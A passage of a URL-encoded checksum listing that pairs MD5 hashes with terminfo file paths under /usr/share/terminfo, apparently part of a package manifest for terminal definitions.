%2Fshare%2Fterminfo%2Fp%2Fpcvt25w%0Ab90ce39395beb7b755aff44928283b2b%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt28%0Af4714bdc051fa8895509e6c1f2916199%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt28w%0Ac27ed2dfc363976d7db0d2e3dbb50f17%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt35%0A952c12c2aa81708556eb24452d5b7256%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt35w%0Af2736eaf9804771b4df5327ad6f1a7a8%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt40%0A828c22120ff3500ae015b6f0ed034832%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt40w%0Aeeb045f0487e49e38f149b05bbe608b6%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt43%0A1183365e66275c0c61dab8f15064056c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt43w%0A926f28f12755e4f66dca08487e2aaa17%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt50%0Ab0e87cf9ab9c1debdfdea3768adf1a7d%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt50w%0Ae0a0dbc2c55b1f759f324bf791cc6d42%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2FpcvtXX%0A628f5a345fb23c5dc06e2aae8777e84f%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe7000c%0A8408e0d1dfd52bb9d6a887f9fc3ac83e%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe7000m%0A1f884a8e2c3bc2c03abcb10e8d2c37fb%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism2%0A2c8671909df0c431d811e2e1177c6edb%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fps300%0Ace43d5689a8fd1ec06b720c249c6764f%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsterm%0A1f268ddfeaabe1d97ae55cb42dd15334%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpty%0Aaf7305469f90dc5afcf28f738c118b4f%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsterm-90x28%0Af9992ba85bb1e29c6508e7124d636570%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsterm-96x48%0A08de7210db7185c89fe8561ec89e4f16%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsterm-fast%0A3ca2000474256d9814ab42541001f7af%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt210%0A7c7545c046e9bbf0508962dd6a6c6c25%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt250%0Aaac2967c0f4c6c6b020d49189f04a415%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt250w%0A5d0e7dc56c70e1d0e9ad7a0488a43459%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt200w%0A8967e6609fb63ec444ab323a901c6063%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt100%0Ace43d5689a8fd1ec06b720c249c6764f%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsterm-basic%0A1ef6e47e960e58ef213c59412f6d203e%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpmconsole%0A1ef6e47e960e58ef213c59412f6d203e%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpmcons%0Af8afdd97ec1c6d36eaeb175070ac4346%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpilot%0A2df5effa8395101a7e71063de8db75f9%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe6300%0A2df5effa8395101a7e71063de8db75f9%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe6312%0Ac4045f51ede2d738daf155499cc4cc05%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpckermit%0A2df5effa8395101a7e71063de8db75f9%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe1251%0Ac4045f51ede2d738daf155499cc4cc05%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpckermit12%0A6adbe1f25da067b2b1998b4c2b27ee7d%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcconsole%0A6adbe1f25da067b2b1998b4c2b27ee7d%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpccons%0A3d88ad420746d245a903388178be625f%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-mono%0A3d88ad420746d245a903388178be625f%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-m%0A809b0b3254c8e20098a77156bde78ec0%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi43%0A665764cb008e47668980ce3dceaff158%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp8gl%0A809b0b3254c8e20098a77156bde78ec0%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-43%0A663d07b6a5a47ef611841dbef1ee253a%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi33m%0A663d07b6a5a47ef611841dbef1ee253a%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-33-m%0A4acedcda48c173dd3fb831b8f733530c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi33%0A3aa3104d6a481c8ed18242f19b610477%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc3r%0A4acedcda48c173dd3fb831b8f733530c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-33%0A3313d8b100e6401ffc12c4e792adf435%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi25m%0A3313d8b100e6401ffc12c4e792adf435%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-25-m%0A141e678dbd6c1d8cf970f954d19437e0%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi25%0A17329f91014763964e5d99c81bad7082%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp9-w%0A141e678dbd6c1d8cf970f954d19437e0%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-25%0A46c72a94b2392b2c27b37a88fc9e2db8%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc-venix%0A665764cb008e47668980ce3dceaff158%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism8gl%0A957de07272f0bd417fcb98da4e99c1d2%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe1200%0A8e177a725c93172d57190cb3932f9b93%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprinter%0Ae5e46cfdbff7963065ad368b57a2f33d%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc3-bold%0Abe5436f93f8bfa205617c11296a8e47c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt505-22%0Aad1663c86833d2a29a6452a9137a6a87%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe1100%0A8967e6609fb63ec444ab323a901c6063%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt200%0A5d0e7dc56c70e1d0e9ad7a0488a43459%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt100w%0A5e1525e32fb11bc980261b88a17f5114%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt505-24%0Aaef7db7b35e7091b4bebf74aac2f0b22%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpro350%0A324e39ea8b55695c3d93de774a1cbc47%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc3r-m%0Af1995e6aa6b209bb1203372cd0f26402%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcz19%0Ad13e82109e132234092684b610e28e98%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp9-8%0Af1995e6aa6b209bb1203372cd0f26402%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc-coherent%0A1b45a752b6291b614bc502586e397616%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe6100%0A1b45a752b6291b614bc502586e397616%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpe550%0A2f428c38d3c19114498965ab840c1cbe%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi-43-m%0Ab606ed7aedc91177bf9ce0f08a6626a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpt505%0A5b2a31e020e45acef8b3154423e36061%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsx_ansi%0A17329f91014763964e5d99c81bad7082%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism9-w%0A6b04df564e1689a5891e851edc5513c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism9-8-w%0A6b04df564e1689a5891e851edc5513c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp9-8-w%0Ad13e82109e132234092684b610e28e98%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism9-8%0Af476173fb8357e6c55275beafef37253%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism9%0Af476173fb8357e6c55275beafef37253%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp9%0Aa4ebdb7b7debc5f78c1ebffc196c5d56%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism8-w%0Aa4ebdb7b7debc5f78c1ebffc196c5d56%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp8-w%0A3b0e72b77d27d680501f58226f6cd0fe%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism8%0A3b0e72b77d27d680501f58226f6cd0fe%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp8%0A77a5fae66f084dbfce9c79917439f676%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism7%0A77a5fae66f084dbfce9c79917439f676%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp7%0A275b435ae9d5df2df9218a6e60cbe8a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism5%0A275b435ae9d5df2df9218a6e60cbe8a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp5%0Afcfd4999e5e1f16bf6c7e2a620591f25%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism4%0Afcfd4999e5e1f16bf6c7e2a620591f25%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp4%0Acfc835e41771effb1b5503bf638e028c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism14-w%0Acfc835e41771effb1b5503bf638e028c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp14-w%0Ab04109c198648e8ee0a33304fb959c0c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism14-m-w%0Ab04109c198648e8ee0a33304fb959c0c%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp14-m-w%0A7fed2ca0e615e245f6c7bff1caa789b0%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism14-m%0A7fed2ca0e615e245f6c7bff1caa789b0%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp14-m%0Ae1ccbc6a602058b2baf6de92fd5ddf77%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism14%0Ae1ccbc6a602058b2baf6de92fd5ddf77%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp14%0A8b93128d1291e853c787dcf280e12535%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism12-w%0A8b93128d1291e853c787dcf280e12535%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp12-w%0A0db54f13bea917f9310af33868c54d78%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism12-m-w%0A0db54f13bea917f9310af33868c54d78%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp12-m-w%0A3c226e54efbc15e07caf93490e53b6e5%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism12-m%0A3c226e54efbc15e07caf93490e53b6e5%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp12-m%0Ad0bdfa21a53ca34980367c6fdc43a602%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fprism12%0Ad0bdfa21a53ca34980367c6fdc43a602%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp12%0Ad4ab82bc9687170f7669b3502206d6fd%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc7300%0A9ef812d9823bc9ca824fc5e3fb0e73a1%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnxtmono%0A71d59de16382dc8e342c40b41bb49cdc%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqansi%0A8f018da7fbc8d83425f756c8fb634a58%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqansi-g%0Aa63cbd37f48167d5321ce8b78c34ac29%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqansi-m%0Aa3bb3fc6a20b53b74f7014479363fae8%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqansi-t%0Aa629e52a746eca6b0189818e244e16a6%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqansi-w%0Ad5bddd5dce4d24c1149041ca60789a5d%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnxm%0Aedd58d289fe961bbbd8c58e4cede4500%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnxt2%0A62a4f89899afc3cb337591db428d03a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt103-w%0A25e3cd7ea6059c28dc016e998fe8d62b%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnxw%0Ab27198d27f8d7d30583e50571567d9c2%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt102%0A4bd11b1d8e7da1a47ecceab70e387248%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt103%0A62f16367bd15763640878d66b2e86495%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119p-25-w%0Ac9870b81e2ca9d40ec2db1dc9f83843e%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt203-25%0Aa117f3473f8359f1c026300986b7d39d%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt203-25-w%0A32c3f4a85b0eef9f566d029159ebb782%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt203-w-am%0A32c3f4a85b0eef9f566d029159ebb782%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt203-w%0A221691a2704e884dd4ee724f61b4618a%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt203%2B%0A221691a2704e884dd4ee724f61b4618a%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt203%0A45080f58e8d42a03a4cdfbfb0cd79b39%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119-w%0A45080f58e8d42a03a4cdfbfb0cd79b39%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119p-w%0A62f16367bd15763640878d66b2e86495%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119%2B-25-w%0A45080f58e8d42a03a4cdfbfb0cd79b39%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119%2B-w%0A62f16367bd15763640878d66b2e86495%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119-25-w%0Ae2852c54e871d1a3668deefd927d609c%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119p-25%0Ae2852c54e871d1a3668deefd927d609c%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119%2B-25%0A9b3a1bce6eb7f5b6a749ad5f87cd1023%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119%2B%0A9b3a1bce6eb7f5b6a749ad5f87cd1023%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119p%0A6492d0f7daec95135384c5104e795f7a%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt101%2B%0A9b3a1bce6eb7f5b6a749ad5f87cd1023%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt119%0A6492d0f7daec95135384c5104e795f7a%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt101p%0Ab5816ac2b14bbc5935a6d6687e382840%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt108%0Ab5816ac2b14bbc5935a6d6687e382840%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqvt101%0Afec67b5c6cc1f991a4827b7073ba5cb3%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqume5%0Afec67b5c6cc1f991a4827b7073ba5cb3%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqume%0A17417cfec678db0fb187d3e61929fe9b%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnxt4%0A17417cfec678db0fb187d3e61929fe9b%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnxt%0Ada7556dfcf8ddc51cc824f041aae6b26%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnx4%0Ada7556dfcf8ddc51cc824f041aae6b26%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqnx%0A3aad07177f8895dbc1e8b0f49e3067ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqdss%0A3aad07177f8895dbc1e8b0f49e3067ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fq%2Fqdcons%0Ac67c60c863e74cc8df06cfbfccfe3fad%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frbcomm-nam%0A59167aa047cdfb59600de948c3e92c3e%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frbcomm%0Ae24387015e1c15fe6931d7ac17cddb59%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frbcomm-w%0A5f6eda8d23a034e93c6e275a08baa83e%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frca%0Ae0d1afff1744616b55afb18b27301e7a%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frcons%0A4a6b3a05c0144580324aeeef3546d481%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frcons-color%0Adcdfc8ff477bc76cb9b25512a5e01210%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent%0A2c6e7266afd0323826b43768623306b6%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent100%0Ae41457e09bd9fcb09c1cb2a9128644cb%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent20%0A1156e1fe7520c0af57a18e28257bde3e%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent25%0Aad57d43c86f304d451a2e7425f45a362%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent40%0A3bf931c3ad1bdf81bba628bff5a7c819%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent40%2B%0A0c4eaa0d341c09e320d01f2f32ce9aed%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frt6221%0A60e5197a433b9ca04362caad4fd21d10%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frt6221-w%0A398ecd8a901b088dc343dea175a33c8c%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frxvt%0A6c7f930588e338b7100897cde4cb9bac%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frxvt-basic%0A43a4ebcea13a716948837f8e08afcec6%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent60%0Ad4d8d4de5d56d249c7a8de65dbabedce%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frtpc%0A43a4ebcea13a716948837f8e08afcec6%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Fregent200%0Aa21d2790d0d66cd689c898c182832232%20%20%2Fusr%2Fshare%2Fterminfo%2Fr%2Frebus3180%0A0c54f9c3a1c6cbcc88a47ec3e1340cde%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscoansi%0A9be87e434a9b446beb3f9ba43f077209%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsb1%0A49d29ff554545f2e5084fafec05c9af2%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen-w%0A16a4f38d6b8b31c1f66d18fcbbfc7558%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen%0A1e274babf2d0046ad58a656c2cbb46a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen.xterm-xfree86%0Ac343f513693ec627e126988c86ce169c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen.teraterm%0Ad5e429529195aff39eff1dfc0c5764f6%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen.xterm-r6%0A02f16f6d3bf2b0213c5bc647e9e93ad7%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscrewpoint%0A71191244af59a0bc0eff3cb7e5c6761a%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen2%0A779220648133f21501a25a1d7f736ede%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscreen3%0Abe9a1019c7a7018d923f580673427295%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsuperbee-xsb%0A4e747811b76c65676ed8d94cc5425e4c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscrhp%0Af7ab46f2af87b575387cb518cfbd853b%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsibo%0A46895af310a881cbc1bec0e06f5e8cc6%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsimterm%0Aa787b0e081cfeb06d8bb746c110c43c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fst52%0A518837fe29fa1abc01e5ddb6dc6f1043%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-1%0A1671a33bd1f3ceb047d18784cc6322db%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-12%0Ab9a6a81d93d00c357b7fab2b58b4d6fb%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-17%0A747d3cce4ca5653dffc28e6f2707682a%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-24%0A2a7b53a85a8feb1b479bd921a7e84b66%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-34%0A8b45042a4638b2413c4b6aec5bacb903%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-48%0A18d16b47e48c47104d4e693a39175102%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-il%0Ad4fcef1dd4d19d74f10543c8592f67fc%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-s%0Aad1e254a18e4556dc94c14b9fee6a2a6%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsuperbeeic%0Aacfee1541313f59984bda689e35ea563%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsuperbrain%0Acebf7666c393ddcc2793b537142b3569%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-s-e%0Acebf7666c393ddcc2793b537142b3569%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-e-s%0Aa948d6c601043d6c548b9d82e3a4f92c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-nic%0Aa948d6c601043d6c548b9d82e3a4f92c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsune%0A76ac6ea3629eac6eae38e095b80ecfc8%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-cgsix%0Aa948d6c601043d6c548b9d82e3a4f92c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-e%0A76ac6ea3629eac6eae38e095b80ecfc8%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-ss5%0Aee872c3053014911ead7231d939f322b%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-cmd%0Aee872c3053014911ead7231d939f322b%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun-c%0Ac7ab8d7ab013eca15c6eb83a4c80a3d1%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun1%0Ac7ab8d7ab013eca15c6eb83a4c80a3d1%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun2%0Aee288c3374413da06a8841ffdec99076%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsc410%0Ac7ab8d7ab013eca15c6eb83a4c80a3d1%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsun%0Aee288c3374413da06a8841ffdec99076%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsc415%0Aee288c3374413da06a8841ffdec99076%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fscanset%0A8eeb8ac614e33b8ee8aca020305052f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsuperbee%0A8eeb8ac614e33b8ee8aca020305052f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsbi%0Ade727850092db1ed800022e4ef915577%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsb3%0Ade727850092db1ed800022e4ef915577%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsb2%0Ada27ba3398be6cdf968d4b600a694270%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fspinwriter%0Ac99d2378815e055648906fc3acef9006%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsynertek380%0Ac99d2378815e055648906fc3acef9006%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsynertek%0A80d8bb3f31db9ac8b77aa14ecf94258c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsoroc140%0A5d52b459f8fa3749897f57e188440840%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsoroc120%0A5d52b459f8fa3749897f57e188440840%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsoroc%0Aa05b9daba7145fbdada32ceee14b9b6c%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsystem1%0A70132ceb225339cbc246c6c65fbc240f%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fswtp%0A6bbb67acada70364d6c2306271a9557d%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsbobcat%0A5049f4a10c89bee96cf78954a2ed0ac4%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fsv80%0Ad4ab82bc9687170f7669b3502206d6fd%20%20%2Fusr%2Fshare%2Fterminfo%2Fs%2Fs4%0Abb643271f575449bf8389faae6e248db%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft1061f%0A564fe279b00496c60c6767f705dfc807%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft10%0A0d70a460bec4d66e5a95498e340f54a4%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft3700%0Aceb089675b40b8c8496242275ac2d074%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft16%0A23ee2264b561a6d6850154b336b1a822%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftab132-rv%0Ade3fce5d5e5b2d52db6c4cc518c6b9d5%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ft3800%0A4d94dc4ea1c2e7fbf2a88e3ecf2927d0%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025-17-ws%0A90e32a1d0419b8a45191f156cac8564b%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftab132-w%0A01827f6e13de41f22b24c5137e6da3e7%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftab132-w-rv%0A09c893279e6cfb78386f5b4c17c81723%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftandem6510%0Ae369eb61d3254c4609c115d122c48dc8%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4013%0A25759fb300d77a6363a0737431e9f50d%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4014%0A5378858ddd7b7805a853bb45cfa9e878%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4014-sm%0Ab4e35a7e8cc96ce22dcc76c0e6707547%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4015%0A1d21fa23ba61a04b0009b504363fabad%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4015-sm%0A49f2202e6c5297758077862d04817d47%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4023%0A350f64de7192e1f09e8ec1eecfc13455%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025-17%0A4ecc9bc2075cde7a1f9e01c8dd63941e%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftvi950-rv-2p%0A1c3c4c6666ed7506e70e503874baaaa6%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025-cr%0A637f845780072e8e5ec5b69a9bfa6114%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4025a%0A4a1f3e2d3d0c53b67f92a75e2380e576%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4105%0Ae93f9034f41062a6c816c136470b9e24%20%20%2Fusr%2Fshare%2Fterminfo%2Ft%2Ftek4105-30